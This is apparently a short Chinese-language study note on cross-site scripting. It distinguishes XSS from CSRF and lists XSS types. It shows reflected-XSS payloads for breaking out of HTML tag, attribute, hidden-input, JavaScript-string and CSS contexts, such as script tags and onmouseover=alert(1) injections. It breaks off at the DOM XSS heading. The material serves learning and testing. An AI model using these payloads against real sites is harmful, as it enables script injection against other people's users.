1.CSRF是跨站请求伪造,借用目标用户的权限做一些借刀杀人的事,然后去做坏事,“盗取”通常是XSS(跨站脚本攻击)最喜欢做的事。
2.反射型XSS、存储型XSS、头部XSS、cookie XSS
3.URL上的玄机------反射型XSS
http://www.foo.com/path/f.php?id=1&type=cool#new
攻击者可控的输入点有<path>--> /path/f.php,<query>--> id=1&type=cool,<fragment>--> new
输入点是id=1,输出点可能在下面几处:
- HTML标签之间:比如出现在
<div id="body">[输出]</div>
提交id=1<script>alert(1)</script>
就可以检测是否触发XSS,但是如果在title里面,就需要提交</title><script>alert(1)</script>
- HTML标签之内:比如出现在
<input type="text" value="[输出]"/>
使用on事件触发脚本"onmouseover=alert(1) x="
;或"><script>alert(1)</script>
;第二个比第一个多了<>字符,很可能被过滤或被编码
若是<input type="hidden" value="[输出]" />
,一般只能闭合input标签,否则由于hidden特性导致触发不了XSS,输入1" onmouseover=alert(1) type="text
,输出后变为:<input value="1" onmouseover=alert(1) type="text" type="hidden" />
,鼠标移上去就会触发XSS - 成为js代码的值:比如
<script>a="[输出]";...</script>
法一 根据<script>
标签的闭合机制:优先寻找最近一个</script>
闭合,可以是</script><script>alert(1)
;;;法二 直接闭合a变量的值引用";alert(1)
;;法三alert(1)
- 成为CSS的值:比如
<style>body{font-size:[输出]px;...}</style>
4.存储型XSS--
一般是表单的提交,然后进入服务端存储中,最终会在某个页面上输出。
5.DOM XSS